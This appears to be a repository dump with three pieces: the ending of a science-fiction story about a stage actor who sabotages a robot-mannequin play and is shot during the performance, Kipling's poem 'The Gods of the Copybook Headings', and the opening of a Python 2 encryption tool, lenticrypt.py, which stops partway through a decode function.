
  He grunted doubtfully. "How long till curtain?" he asked.

  She arose suddenly and said, "Jade's waving me over. See you in the
  act, Thorny."

  He watched Mela hurry away, he glanced across the floor at Jade who
  waited for her in the midst of a small conference, he felt a guilty
  twinge. He'd cost them money, trouble, and nervous sweat, and maybe
  the performance endangered the run of the show. It was a rotten
  thing to do, and he was sorry, but it couldn't be undone, and the
  only possible compensation was to deliver a best-possible Act III
  and then get out. Fast. Before Jade found him out and organized a
  lynch mob.

  After staring absently at the small conference for a few moments, he closed his eyes and drowsed again.

  Suddenly he opened them. Something about the conference
  group-something peculiar. He sat up and frowned at them again. Jade,
  Mela, Rick, and Feria, and three strangers. Nothing peculiar about
  that. Except .. . let's see . . . the thin one with the scholarly
  look-that would be the programming engineer, probably. The beefy,
  healthy fellow with the dark business suit and the wandering
  glance-Thorny couldn't place him-he looked out of place
  backstage. The third one seemed familiar some-how, but he, too,
  looked out of place-a chubby little man with no necktie and a fat
  cigar, he seemed more interested in the backstage rush than in the
  proceedings of the group. The beefy gent kept asking him questions,
  and he muttered brief answers around his cigar while watching the
  stagehands' parade.

  Once when answering he took his cigar out of his mouth and glanced
  quickly across the floor in Thorny's direction. Thorny stiffened,
  felt bristles rise along his spine. The chubby little gent was--

  The depot clerk!

  Who had issued him the extra tape and the splices. Who could put the
  finger on the trouble right away, and was undoubtedly doing it.

  Got to get out. Got to get out fast. The beefy fellow was either a
  cop or a private investigator, one of several hired by
  Smithfield. Got to run, got to hide, got to-Lynch mob.

  "Not through that door, buddy, that's the stage; what're you- Oh,
  Thorny! It's not time to go on.".

  "Sorry," he grunted at the prop man and turned away. The light
  flashed, the buzzer sounded faintly.

  "Now it's time," the prop man called after him. Where was he going?
  And what good would it do? "Hey, Thorny! The buzzer. Come back. It's
  line-up. You're on when the curtain lifts ... hey!"

  He paused, then turned around and went back. He went on-stage and
  took his place. She was already there, staring at him strangely as
  he approached.

  "You didn't do it, did you, Thorny?" she whispered. He gazed at her
  in tight-lipped silence, then nodded. She looked puzzled. She looked
  at him as if he were no longer a person, but a peculiar object to be
  studied.

  Not scornful, nor angry, nor righteous-just puzzled. "Guess I was
  nuts," he said lamely.

  "Guess you were."

  "Not too much harm done, though," he said hopefully. "The wrong
  people saw the first act, Thorny. They walked out."

  "Wrong people?"

  "Two backers and a critic."

  "Oh?"

  He stood stunned. She stopped looking at him then and just stood
  waiting for the curtain to rise, her face showing nothing but a
  puzzled sadness. It wasn't her show, and she had nothing in it but a
  doll that would bring a royalty check or two, and now herself as a
  temporary substitute for the doll. The sadness was for him. Contempt
  he could have understood.

  The curtain lifted. A sea of dim faces beyond the foot-lights. And
  he was Andreyev, chief of a Soviet police garrison, loyalist servant
  of a dying cause. It was easy to stay in the role this time, to
  embed his ego firmly in the person of the Russian cop and live a
  little of the last century. For the ego was more comfortable there
  than in the skin of Ryan Thornier-a skin that might soon be sent to
  the tannery, judging the furtive glances that were coming from
  backstage. It might even be comfortable to remain Andrevev after the
  performance, but that was a sure way to get Napoleon Bonaparte for a
  roommate.

  There was no change of setting between scenes i and ii, but only a
  dip of the curtain to indicate a time-lapse and permit a change of
  cast. He stayed onstage, and it gave him a moment to think. The
  thoughts weren't pleasant.

  Backers had walked out. Tomorrow the show would close unless the
  morning teleprint of the Times carried a rave review. Which seemed
  wildly improbable. Critics were jaded. Jaded tastes were apt to be
  impatient. They would not be eager to forgive the first act. He had
  wrecked it, and he couldn't rescue it.

  Revenge wasn't sweet. It tasted like rot and a sour stomach.

  Give them a good third act. There's nothing more you can do. But
  even that wouldn't take away the rotten taste.

  Why did you do it, Thorny? Rick's voice, whispering from the booth
  and in his earplug prompter.

  He glanced up and saw the technician watching him from the small
  window of the booth. He spread his hands in a wide shrugging
  gesture, as if to ask: How can I tell you, what can I do?

  Go on with it, what else? Rick whispered, and withdrew from the
  window.

  The incident seemed to confirm that Jade intended for him to finish
  it, anyhow. She could scarcely intend otherwise. She was in it with
  him, in a sense. If the audience found out the play had a human
  stand-in, and if the critics didn't like the show, they might pounce
  on the producer who "perpetrated such an impossible
  substitution"-even harder than they'd pounce on him. She had gambled
  on him, and in spite of his plot to force her into such a gamble, it
  was her show, and her responsibility, and she'd catch the brunt of
  it. Critics, owners, backers, and public-they didn't care about
  "blame," didn't care about excuses or reasons. They cared about the
  finished product, and if they didn't like it, the responsibility for
  it was clear.

  As for himself? A cop waiting backstage. Why? He hadn't studied the
  criminal code, but he couldn't think of any neat little felonious
  label that could be pinned on what he'd done. Fraud? Not without an
  exchange of money or property, he thought. He'd been after
  intangibles, and the law was an earthy thing; it became confused
  when motives carried men beyond assaults on property or person, into
  assaults on ideas or principles. Then it passed the buck to
  psychiatry.

  Maybe the beefy gent wasn't a cop at all. Maybe he was a collector
  of maniacs.

  Thorny didn't much care. The dream had tumbled down, and he'd just
  have to let the debris keep falling about him until he got a chance
  to start climbing out of the wreckage. It was the end of something
  that should have ended years ago, and he couldn't get out until it
  finished collapsing.

  
  The curtain lifted. Scene ii was good. Not brilliant, but good
  enough to make them stop snapping their gum and hold them locked in
  their seats, absorbed in their identity with Andreyev.  Scene iii
  was his Gethsemane-when the mob besieged the public offices while he
  waited for word of Marka and an answer to his offer of a truce with
  the guerrilla forces. The answer came in one word.

  "Nyet."

  His death sentence. The word that bound him over to the jackals in
  the streets, the word that cast him to the ravening mob. The mob had
  a way: the mob was collecting officials and mounting them. He could
  see their collection from the window, looking across the square, and
  he discussed it with an aide. Nine men impaled on the steel spikes
  of the heavy grillwork fence in front of the Regional Soviet
  offices. The mob seized another specimen with its thousand hands and
  mounted it carefully. It lifted the specimen into a sitting position
  over a two-foot spike, then dropped him on it. Two specimens still
  squirmed.

  He'd cheat the mob, of course. There were the barricades in the
  building below, and there would be plenty of time to meet death
  privately and chastely before the mob tore its way inside. But he
  delayed. He waited for word from Marka.

  Word came. Two guards burst in.

  "She's here, comrade, she's come!"

  Come with the enemy, they said. Come betraying him, betraying the
  state. Impossible! But the guard insisted.

  Berserk fury, and refusal to believe. With a low snarl, he drew the
  automatic, shot the bearer of bad tidings through the heart.

  With the crash of the gunshot; the mannequin crumpled. The explosion
  startled a sudden memory out of hiding, and he remembered: the
  second cartridge in the clip-not a blank! He had forgotten to unload
  the deadly round.

  For an instant he debated firing it into the fallen mannequin as a
  way to get rid of it, then dismissed the notion and obeyed the
  script. He stared at his victim and wilted, letting the gun slip
  from his fingers and fall to the floor. He staggered to the window
  to stare out across the square. He covered his face with his hands,
  awaited the transition curtain.

  The curtain came. He whirled and started for the gun. No, Thorny,
  no! came Rick's frantic whisper from the booth. To the ikon
  . . . the ikon!

  He stopped in mid-stage. No time to retrieve the gun and unload. The
  curtain had only dipped and was starting up again. Let Mela get rid
  of the round, he thought. He crossed to the shrine, tearing open his
  collar, rumpling his hair. He fell to his knees before the ancient
  ikon, in dereliction before the God of an older Russia, a Russia
  that survived as firmly in fierce negation as it had survived in
  fierce affirmation. The cultural soul was a living thing, and it
  survived as well in downfall as in victory; it could never be
  excised, but only eaten away or slowly transmuted by time and gentle
  pressures of rain wearing the rock.

  There was a bust of Lenin beneath the ikon. And there was a bust of
  Harvey Smithfield beneath the Greek players' masks on the wall of
  D'Uccia's office. The signs of the times, and the signs of the
  timeless, and the cultural heartbeat pulsed to the rhythm of
  centuries. He had resisted the times as they took a sharp turn in
  direction, but no man could swim long against the tide as it plodded
  its zigzag course into timelessness. And the sharp deflections in
  the course were deceptive-for all of them really wound their way
  downstream. No man ever added his bit to the flow by spending all
  his effort to resist the current. The tide would tire him and take
  him into oblivion while the world flowed on.

  Marka, Boris, Piotr had entered, and he had turned to start at them
  without understanding. The mockery followed and the harsh laughter,
  as they pushed the once haughty but now broken chieftain about the
  stage like a dazed animal unable to respond. He rebounded from one
  to another of them, as they prodded him to dispel the trancelike
  daze.

  "Finish your prayer, comrade," said Mela, picking up the gun he'd
  dropped.

  As he staggered close to Mela, he found his chance, and whispered
  quickly: "The gun, Mela-eject the first cartridge. Eject it,
  quickly."

  He was certain she heard him, although she showed no reaction-unless
  the slight flicker of her eyes had been a quick glance at the
  gun. Had she understood? A moment later, another chance to whisper.

  "The next bullet's real. Work the slide. Eject it."

  He stumbled as Piotr pushed him, fell against a heavy couch, slid
  down, and stared at them. Piotr went to open the window and shout an
  offer to the mob below. A bull-roar arose from the herd
  outside. They hauled him to the window as a triumphal display.

  "See, comrade?" growled the guerrilla. "Your faithful congregation
  awaits you."

  Marka closed the windows. "I can't stand that sight!" she cried.

  "Take him to his people," the leader ordered.

  "No-" Marka brought up the gun, shook her head fiercely. "I won't
  let you do that. Not to the mob."

  Piotr growled a curse. "They'll have him anyway. They'll be coming
  up here to search."

  Thorny stared at the actress with a punted frown. Still she hadn't
  ejected the cartridge. And the moment was approaching-a quick bullet
  to keep him from the mob, a bit of hot mercy flung hastily to him by
  the woman who had enthralled him and used him and betrayed him.

  She turned toward him with the gun, and he began to back away.

  "All right, Piotr-if they'll get him anyway-"

  She moved a few steps toward him as he backed to a corner. The live
  round, Mela, eject it!

  Then her foot brushed a copper bus-lug, and he saw the faint little
  jet of sparks. Eyes of glass, flesh of airfoam plastic, nerves of
  twitching electron streams.

  Mela was gone. This was her doll. Maybe the real Mela couldn't
  stomach it after she'd found what he'd done, or maybe Jade had
  called her off after the first scene of the third act. A plastic
  hand held the gun, and a tiny flexible solenoid awaited the pulse
  that would tighten the finger on the trigger. Terror lanced through
  him.

  Cue, Thorny, cue! whispered his earplug.

  The doll had to wait for his protest before it could fire. It had to
  be cued. His eyes danced about the stage, looking for a way
  out. Only an instant to decide.

  He could walk over and take the gun out of the doll's hand without
  giving it a cue-betraying himself to the audience and wrecking the
  final moment of the show.

  He could run for it, cue her, and hope she missed, falling after the
  shot. But he'd fall on the lugs that way, and come up shrieking.

  For God's sake, Thorny! Rick was howling. The cue, the cue!

  He stared at the gun and swayed slightly from side to side. The gun
  swayed with him-slightly out of phase. A second's delay, no more

  "Please, Marka-" he called, swaying faster.

  The finger tensed on the trigger. The gun moved in a search pattern,
  as he shifted to and fro. It was risky. It had to be precisely
  timed. It was like dancing with a cobra. He wanted to flee.

  You faked the tape, you botched the show, you came out second best
  to a system you hated, he reminded himself. And you even loaded the
  gun. Now if you can't risk it-

  He gritted his teeth, kept up the irregular weaving motion, then

  "Please, Marka . . . no, no, nooo!"

  
  A spiked fist hit him somewhere around the belt, spun him around,
  and dropped him. The sharp cough of the gun was only a part of the
  blow. Then he was lying crumpled on his side in the chalked safety
  area, bleeding and cursing softly. The scene continued. He started
  to cry out, but checked the shout in his throat. Through a haze, he
  watched the others move on toward the finale, saw the dim sea of
  faces beyond the lights. Bullet punched through his side somewhere.

  Got to stop squirming. Can't have a dead Andreyev floundering about
  like a speared fish on the stage. Wait a minute-just another
  minute-hang on.

  But he couldn't. He clutched at his side and felt for the
  wound. Hard to feel through all the stickiness. He wanted to tear
  his clothes free to get at it and stop the bleeding, but that was no
  good either. They'd accept a mannequin fumbling slightly in a death
  agony, but the blood wouldn't go over so well. Mannequins didn't
  bleed. Didn't they see it anyway? They had to see it. Clever
  gimmick, they'd think, Tube of red ink, maybe. Realism is the milieu
  of--

  He twisted his hand in his belt, drew it up strangle-tight around
  his waist. The pain got worse for a moment, but it seemed to slow
  the flow of blood. He hung onto it, gritting his teeth, waiting.

  He knew about where it hit him, but it was harder to tell where it
  had come out. And what it had taken with it on the way. Thank God
  for the bleeding. Maybe he wasn't doing much of it inside.

  He tried to focus on the rest of the stage. Music was rising
  somewhere. Had they all walked off and left him? But no-there was
  Piotr, through the haze. Piotr approached his chair of office-heavy,
  ornate, antique. Once it had belonged to a noble of the czar. Piotr,
  perfectly cold young machine, in his triumph-inspecting the chair.

  A low shriek came from backstage somewhere. Mela. Couldn't she keep
  her mouth shut for half a minute? Probably spotted the blood. Maybe
  the music drowned the squeal.

  Piotr mounted the single step and turned. He sat down gingerly in
  the chair of empire, testing it, and smiling victory. He seemed to
  find the chair comfortable.

  "I must keep this, Marka," he said.

  Thorny wheezed a low curse at him. He'd keep it all right, until the
  times went around another twist in the long old river. And welcome
  to it-judging by the thundering applause.

  And the curtain fell slowly to cover the window of the stage.

  Feet trouped past him, and he croaked "Help!" a couple of times, but
  the feet kept going. The mannequins, marching off to their packing
  cases.

  He got to his feet alone, and went black. But when the blackness
  dissolved, he was still standing there, so he staggered toward the
  exit. They were rushing toward him--Mela and Rick and a couple of
  the crew. Hands grabbed for him, but he fought them off.

  "I'll walk by myself now!" he growled.

  But the hands took him anyway. He saw Jade and the beefy gent, tried
  to lurch toward them and explain every-thing, but she went even
  whiter and backed away. I must look a bloody mess, he thought.

  "I was trying to duck. I didn't want to-"

  "Save your breath," Rick told him. "I saw you. Just hang on."

  They got him onto a doll packing case, and he heard somebody yelling
  for a doctor from the departing audience, and then a lot of hands
  started scraping at his side and tugging at him.

  "Mela-"

  "Right here, Thorny. I'm here."

  
  And after a while she was still there, but sunlight was spilling
  across the bed, and he smelled faint hospital odors. He blinked at
  her for several seconds before he found a voice.

  "The show?" he croaked.

  "They panned it," she said softly.

  He closed his eyes again and groaned.

  "But it'll make dough."

  He blinked at her and gaped.

  "Publicity. Terrific. Shall I read you the reviews?"

  He nodded, and she reached for the papers. All about the madman who
  bled all over the stage. He stopped her halfway through the first
  article. It was enough. The audience had begun to catch on toward
  the last lines of the play, and the paging of a surgeon had
  confirmed the suspicion.

  "You missed the bedlam backstage," she told him. "It was quite a
  mess."

  "But the show won't close?"

  "How can it? With all the morbidity for pulling power. If it closes,
  it'll be with the Peltier performance to blame."

  "And Jade-?"

  "Sore. Plenty sore. Can you blame her?"

  He shook his head. "I didn't want to hurt anybody. I'm sorry."

  She watched him in silence for a moment, then: "You can't flounder
  around like you've been doing, Thorny without somebody getting hurt,
  without somebody hating your guts, getting trampled on. You just
  can't."

  It was true. When you hung onto a piece of the past, and just hung
  onto it quietly, you only hurt yourself. But when you started trying
  to bludgeon a place for it in the present, you began knocking over
  the bystanders.

  "Theater's dead, Thorny. Can't you believe that now?"

  
  He thought about it a little, and shook his head. It wasn't
  dead. Only the form was changed, and maybe not permanently at
  that. He'd thought of it first last night, before the ikon. There
  were things of the times, and a few things that were timeless. The
  times came as a result of a particular human culture. The timeless
  came as a result of any human culture at all. And Cultural Man was a
  showman. He created display windows of culture for an audience of
  men, and paraded his aspirations and ideals and purposes thereon,
  and the displays were necessary to the continuity of the culture, to
  the purposeful orientation of the species.

  Beyond one such window, he erected an altar, and placed a priest
  before it to chant a liturgical description of the heart-reasoning
  of his times. And beyond another window, he built a stage and set
  his talking dolls upon it to live a dramaturgical sequence of wishes
  and woes of his times.

  True, the priests would change, the liturgy would change, and the
  dolls, the dramas, the displays-but the windows would never-no
  never-be closed as long as Man outlived his members, for only
  through such windows could transient men see themselves against the
  back-ground of a broader sweep, see man encompassed by Man. A
  perspective not possible without the windows.

  Dramaturgy. Old as civilized Man. Outlasting forms and techniques
  and applications. Outlasting even current popular worship of the
  Great God Mechanism, who was temporarily enshrined while still being
  popularly misunderstood. Like the Great God Commerce of an earlier
  century, and the God Agriculture before him.

  Suddenly he laughed aloud. "If they used human actors today, it
  would be a pretty moldy display. Not even true, considering the
  times."
  

  By the time another figure lounged in his doorway, he had begun to
  feel rather expansive and heroic about it all. When a small cough
  caused him to glance up, he stared for a moment, grinned broadly,
  then called: "Ho, Richard! Come in. Here ... sit down. Help me
  decide on a career, eh? Heh heh-" He waved the classified section
  and chuckled. "What kind of little black boxes can an old ham-" He
  paused. Rick's expression was chilly, and he made no move to
  enter. After a moment he said: "I guess there'll always be a sucker
  to rerun this particular relay race."

  "Race?" Thorny gathered a slow frown.

  "Yeah. Last century, it was between a Chinese abacus operator and an
  IBM machine. They really had a race, you know."

  "Now see here-"

  "And the century before that, it was between a long-hand secretary
  and a typewriting machine."

  "If you came here to-"

  "And before that, the hand-weavers against the automatic looms."

  "Nice to have seen you, Richard. On your way out, would you ask the
  nurse to-"

  "Break up the looms, smash the machines, picket the offices with
  typewriters, keep adding machines out of China! So then what? Try to
  be a better tool than a tool?"

  Thorny rolled his head aside and glowered at the wall. "All right. I
  was wrong. What do you want to do? Gloat? Moralize?"

  "No. I'm just curious. It keeps happening-a specialist trying to
  compete with a higher-level specialist's tools. Why?"

  "Higher level?" Thorny sat up with a snarl, groaned, caught at his
  side and sank back again, panting.


  "Easy, old man," Rick said quietly. "Sorry. Higher
  organizational-level, I meant. Why do you keep on doing it?"

  Thorny lay silent for a few moments, then: "Status jealousy. Even
  hawks try to drive other hawks out of their hunting grounds. Fight
  off competition."

  "But you're no hawk. And a machine isn't competition."

  "Cut it out, Rick. What did you come here for?"

  Rick glanced at the toe of his shoe, snickered faintly, and came on
  into the room. "Thought you might need some help finding a job," he
  said. "When I looked in the door and saw you lying there looking
  like somebody's King Arthur, I got sore again." He sat restlessly on
  the edge of a chair and watched the old man with mingled sadness,
  irritation, and affection.

  "You'd help me . . . find a job?"

  "Maybe. A job, not a permanent niche."

  "It's too late to find a permanent niche."

  "It was too late when you were born, old man! There isn't any such
  thing-hasn't been, for the last century. Whatever you specialize in,
  another specialty will either gobble you up, or find a way to
  replace you. If you get what looks like a secure niche, somebody'll
  come along and wall you up is it and write your epitaph on it. And
  the more specialized a society gets, the more dangerous it is for
  the pure specialist. You think an electronic engineer is any safer
  than an actor? Or a ditch-digger?"

  "I don't know. It's not fair. A man's career-"

  "You've always got one specialty that's safe."

  "What's that?"

  "The specialty of creating new specialties. Continuously. Your own."

  "But that's-" He started to protest, to say that such a concept
  belonged to the highly trained few, to the technical elite of the
  era, and that it wasn't specialization, but generalization. But why
  to the few? The specialty of creating new specialties

  "But that's-"

  "More or less a definition of Man, isn't it?" Rick finished for
  him. "Now about the job-"

  "Yes, about the job-"

  So maybe you don't start from the bottom after all, he decided. You
  start considerably above the lemur, the chimpanzee, the orangutan,
  the Maestro-if you ever start at all.







gods.txt

The Gods of the Copybook Headings
by Rudyard Kipling


AS I PASS through my incarnations in every age and race,
I make my proper prostrations to the Gods of the Market Place.
Peering through reverent fingers I watch them flourish and fall,
And the Gods of the Copybook Headings, I notice, outlast them all.

We were living in trees when they met us. They showed us each in turn
That Water would certainly wet us, as Fire would certainly burn:
But we found them lacking in Uplift, Vision and Breadth of Mind,
So we left them to teach the Gorillas while we followed the March of Mankind.

We moved as the Spirit listed. They never altered their pace,
Being neither cloud nor wind-borne like the Gods of the Market Place,
But they always caught up with our progress, and presently word would come
That a tribe had been wiped off its icefield, or the lights had gone out in Rome.

With the Hopes that our World is built on they were utterly out of touch,
They denied that the Moon was Stilton; they denied she was even Dutch;
They denied that Wishes were Horses; they denied that a Pig had Wings;
So we worshipped the Gods of the Market Who promised these beautiful things.

When the Cambrian measures were forming, They promised perpetual peace.
They swore, if we gave them our weapons, that the wars of the tribes would cease.
But when we disarmed They sold us and delivered us bound to our foe,
And the Gods of the Copybook Headings said: "Stick to the Devil you know." 

On the first Feminian Sandstones we were promised the Fuller Life
(Which started by loving our neighbour and ended by loving his wife)
Till our women had no more children and the men lost reason and faith,
And the Gods of the Copybook Headings said: "The Wages of Sin is Death." 

In the Carboniferous Epoch we were promised abundance for all, 
By robbing selected Peter to pay for collective Paul; 
But, though we had plenty of money, there was nothing our money could buy, 
And the Gods of the Copybook Headings said: "If you don't work you die." 

Then the Gods of the Market tumbled, and their smooth-tongued wizards withdrew
And the hearts of the meanest were humbled and began to believe it was true
That All is not Gold that Glitters, and Two and Two make Four
And the Gods of the Copybook Headings limped up to explain it once more.

As it will be in the future, it was at the birth of Man
There are only four things certain since Social Progress began. 
That the Dog returns to his Vomit and the Sow returns to her Mire, 
And the burnt Fool's bandaged finger goes wabbling back to the Fire;

And that after this is accomplished, and the brave new world begins
When all men are paid for existing and no man must pay for his sins, 
As surely as Water will wet us, as surely as Fire will burn, 
The Gods of the Copybook Headings with terror and slaughter return! 







lenticrypt/lenticrypt.py

#!/usr/bin/env python2

import os, sys, itertools, random, struct, StringIO, gzip, array

ENCRYPTION_VERSION = 3

def get_terminal_size():
    env = os.environ
    def ioctl_GWINSZ(fd):
        try:
            import fcntl, termios, struct, os
            cr = struct.unpack('hh', fcntl.ioctl(fd, termios.TIOCGWINSZ,
        '1234'))
        except:
            return
        return cr
    cr = ioctl_GWINSZ(0) or ioctl_GWINSZ(1) or ioctl_GWINSZ(2)
    if not cr:
        try:
            fd = os.open(os.ctermid(), os.O_RDONLY)
            cr = ioctl_GWINSZ(fd)
            os.close(fd)
        except:
            pass
    if not cr:
        cr = (env.get('LINES', 25), env.get('COLUMNS', 80))
    return int(cr[1]), int(cr[0])

class StatusLine(object):
    def __init__(self, stream = sys.stderr):
        self.stream = stream
        self.clear()
    def clear(self):
        width, height = get_terminal_size()
        self.stream.write("\r" + " "*width + "\r")
    def write(self, text):
        self.stream.write(text)

class ProgressBar(StatusLine):
    def __init__(self, stream = sys.stderr, max_value = 100):
        super(ProgressBar, self).__init__(stream)
        self.max_value = max_value
        self.value = 0
        self._last_percent = -1
    def update(self, value, status = ""):
        self.value = value
        percent = float(value) / float(self.max_value)
        if percent < 0:
            percent = 0
        elif percent > 1.0:
            percent = 1.0
        if int(percent * 100.0 + 0.5) != self._last_percent:
            self._last_percent = int(percent * 100.0 + 0.5)
            width, height = get_terminal_size()
            width -= 2
            pixels = int(float(width) * percent + 0.5)
            self.clear()
            self.write("[")
            if len(status) > 0:
                s = "%s %d%%" % (status, int(percent * 100.0 + 0.5))
            else:
                s = "%d%%" % int(percent * 100.0 + 0.5)
            status_start = (width - len(s)) / 2
            for i in range(width):
                if i == status_start:
                    for j in range(len(s)):
                        if s[j] == ' ' and j + i < pixels:
                            s = s[:j] + '=' + s[j+1:]
                    self.write(s)
                elif i > status_start and i < status_start + len(s):
                    pass
                elif i < pixels:
                    self.write("=")
                else:
                    self.write("-")
            self.write("]")

class ProgressBarCallback:
    def __init__(self):
        self.pb = None
    def __call__(self, value, max_value, status = ""):
        if self.pb is None:
            self.pb = ProgressBar(max_value = max_value)
        self.pb.update(value, status)
    def clear(self):
        if self.pb is not None:
            self.pb.clear()

def is_power2(num):
    """tests if a number is a power of two"""
    return num != 0 and ((num & (num - 1)) == 0)

def read_nibble_gram(byte_array, index, length):
    assert(is_power2(length))
    offset = index/2
    if length == 1:
        # we are reading a single nibble, which is an edge case since in all other cases we are reading whole bytes
        if index % 2 == 0:
            return ((byte_array[offset] & 0b11110000) >> 4,)
        else:
            return (byte_array[offset] & 0b00001111,)
    else:
        if index % 2 != 0:
            # we are ending on the first nibble of a byte
            b = array.array('B', [read_nibble_gram(byte_array, index, 1)[0]])
            offset += 1
            new_length = length - 2
        else:
            b = array.array('B')
            new_length = length
        for byte in byte_array[offset:offset+length/2]:
            b.append((byte & 0b11110000) >> 4)
            b.append(byte & 0b00001111)
        if index % 2 != 0:
            # we are ending on the first nibble of a byte
            b.append(read_nibble_gram(byte_array, index + length - 1, 1)[0])
        return tuple(b)

def find_common_nibble_grams(certificates, nibble_gram_lengths = [1, 2, 4, 8, 16], status_callback=None):
    all_nibbles = {} # maps a nibble value to a common index
    for nibble_gram_length in nibble_gram_lengths:
        nibbles = {}
        all_nibbles[nibble_gram_length] = nibbles
        range_max = min(map(len, certificates))*2 - nibble_gram_length + 1
        for index in range(0,range_max):
            pair = tuple(map(lambda c : read_nibble_gram(c, index, nibble_gram_length), certificates))
            if pair in nibbles:
                nibbles[pair].append(index)
            else:
                nibbles[pair] = array.array('L',[index])
            if status_callback is not None:
                status_callback(index, range_max, "Building Index for %s-nibble-grams" % nibble_gram_length)
    return all_nibbles

class BufferedNibbleGramReader:
    def __init__(self, stream, max_nibble_gram_length = None):
        self.stream = stream
        self.max_nibble_gram_length = max_nibble_gram_length
        self._buffer = array.array('B')
        self.has_nibbles(1)
    def get_nibbles(self, length):
        r = self.peek_nibbles(length)
        if r is not None:
            del self._buffer[:length]
        return r
    def peek_nibbles(self, length):
        if not self.has_nibbles(length):
            return None
        else:
            return tuple(self._buffer[:length])
    def has_nibbles(self, length):
        if self._buffer is None:
            return False
        elif len(self._buffer) >= length:
            return True
        b = self.stream.read((length - len(self._buffer) + 1)/2)
        if not b:
            if len(self._buffer) == 0:
                # we are done
                self._buffer = None
            return False
        else:
            for byte in map(ord,b):
                self._buffer.append((byte & 0b11110000) >> 4)
                self._buffer.append(byte & 0b00001111)
            return True
    def eof(self):
        return self._buffer is None
    def __bool__(self):
        return not self.eof()
    __nonzero__=__bool__

def get_length(stream):
    """Gets the number of bytes in the stream."""
    old_position = stream.tell()
    stream.seek(0)
    length = 0
    while True:
        r = stream.read(1024)
        if not r:
            break
        length += len(r)
    stream.seek(old_position)
    return length

class Encrypter(object):
    def __init__(self, substitution_alphabet, to_encrypt, status_callback=None):
        self.substitution_alphabet = substitution_alphabet
        self.to_encrypt = to_encrypt
        self.sorted_lengths = sorted(substitution_alphabet.keys(), reverse=True)
        self.buffer_lengths = None
        self.status_callback = status_callback
        if self.status_callback is not None:
            self.buffer_lengths = [get_length(b) for b in self.to_encrypt]

    def get_header(self):
        return iter([])

    def is_incomplete(self, buffers):
        return buffers[0]

    def get_max_length(self):
        if self.status_callback is None:
            return None
        else:
            return self.buffer_lengths[0]

    def process_nibble(self, n, buffer_index, length):
        if n is None and buffer_index > 0:
            return tuple([0]*length)
        else:
            return n

    def get_tuple(self, ng, length):
        if ng[0] is None or max(map(len,ng)) < length:
            return None
        else:
            return tuple(ng)

    def are_valid_nibbles(self, ng, length):
        return not (ng[0] is None or max(map(len,ng)) < length)

    def process_nibbles(self, ng, length, buffers):
        pair = tuple(ng)
        if pair in self.substitution_alphabet[length]:
            # consume the nibbles!
            for b in buffers:
                b.get_nibbles(length)
            index = random.choice(self.substitution_alphabet[length][pair])
            index_bytes = 8
            index_type = "Q" # unsigned long long
            if index < 256:
                index_bytes = 1
                index_type = "B" # unsigned char
            elif index < 65536:
                index_bytes = 2
                index_type = "H" # unsigned short
            elif index < 4294967296:
                index_bytes = 4
                index_type = "L" # unsigned long
            assert(length <= 16) # if we want to support longer lengths, we will have to allocate more bits in the header, pearhaps using the currently used one
            block_header = ((length - 1) << 3) | (index_bytes - 1)
            for byte in struct.pack("<B" + index_type, block_header, index):
                yield byte
        elif length == 1:
            sys.stderr.write("Warning: there is insufficient entropy in the input secrets to encode the byte pair " + str(pair) + "! The resulting ciphertext will not decrypt to the correct plaintext.\n")
            # consume these bytes
            for b in buffers:
                b.get_nibbles(length)

    def __iter__(self):
        for byte in self.get_header():
            yield byte
        max_length = self.get_max_length()
        if self.status_callback is not None:
            max_length *= len(self.sorted_lengths) * 2
        count = 0
        buffers = [BufferedNibbleGramReader(e, self.sorted_lengths[0]) for e in self.to_encrypt]
        while self.is_incomplete(buffers):
            # if the files are not the same length, encrypt to the length of to_encrypt1
            for length_num, length in enumerate(self.sorted_lengths):
                if self.status_callback is not None:
                    count += 1
                    self.status_callback(count, max_length, "Encrypting")
                ng = []
                for i, b in enumerate(buffers):
                    n = b.peek_nibbles(length)
                    ng.append(self.process_nibble(n, i, length))
                if not self.are_valid_nibbles(ng, length):
                    continue
                success = False
                for byte in self.process_nibbles(ng, length, buffers):
                    success = True
                    yield byte
                    if self.status_callback is not None:
                        count += len(self.sorted_lengths) - (length_num + 1)
                if success:
                    break

class LengthChecksumEncrypter(Encrypter):
    def __init__(self, substitution_alphabet, to_encrypt, status_callback=None):
        super(LengthChecksumEncrypter, self).__init__(substitution_alphabet = substitution_alphabet, to_encrypt = to_encrypt, status_callback = status_callback)

    def get_encryption_version(self):
        return 2

    def is_incomplete(self, buffers):
        return sum(map(lambda b : not b.eof(), buffers))

    def get_max_length(self):
        if self.status_callback is None:
            return None
        else:
            return max(self.buffer_lengths)

    def are_valid_nibbles(self, ng, length):
        return max(map(len,ng)) >= length

    def process_nibble(self, n, buffer_index, length):
        if n is None:
            # if we are using a length checksum, we can make the padded bytes random:
            return tuple([random.randint(0, 15) for j in range(length)])
        else:
            return n

    def get_header(self):
        block_header = 0b10000000 | self.get_encryption_version() # the magic length checksum bit and filetype version number
        yield chr(block_header)
        lengths = map(lambda l : StringIO.StringIO(struct.pack("<Q", l)), map(get_length, self.to_encrypt))
        for b in Encrypter(self.substitution_alphabet, lengths, status_callback=None):
            yield b

encoding_steps = [(0b01111111, 0),
                  (0b00111111, 0b10000000),
                  (0b00011111, 0b11000000),
                  (0b00001111, 0b11100000),
                  (0b00000111, 0b11110000),
                  (0b00000011, 0b11111000),
                  (0b00000001, 0b11111100)]

MAX_ENCODE_VALUE = 2**(8*(len(encoding_steps)-1)) + (encoding_steps[-1][0] << (8*(len(encoding_steps)-1))) - 1

def encode(n):
    orig_n = n
    ret = bytearray([n & 0b11111111])
    for test, mask in encoding_steps:
        if n <= test:
            ret[0] = ret[0] | mask
            return ret
        n >>= 8
        ret = bytearray([n & 0b11111111]) + ret
    raise Exception("Integer %s is too big to encode!  The biggest value supported is %s." % (orig_n, MAX_ENCODE_VALUE))

def decode(byte_array):
    if isinstance(byte_array, str) or isinstance(byte_array, bytearray):
        byte_array = StringIO.StringIO(byte_array)
    num_trailing_bytes = 0
    byte = byte_array.read(1)
    if not byte:
        return None
    byte = ord(byte)
    # remove everything to the left of the first zero:
    if not (byte & 0b10000000):
        pass
    elif not (byte & 0b01000000):
        byte = byte & 0b00111111
        num_trailing_bytes = 1
    elif not (byte & 0b00100000):
        byte = byte & 0b00011111
        num_trailing_bytes = 2
    elif not (byte & 0b00010000):
        byte = byte & 0b00001111
        num_trailing_bytes = 3
    elif not (byte & 0b00001000):
        byte = byte & 0b00000111
        num_trailing_bytes = 4
    elif not (byte & 0b00000100):
        byte = byte & 0b00000011
        num_trailing_bytes = 5
    elif not (byte & 0b00000010):
        byte = byte & 0b00000001
        num_trailing_bytes = 6
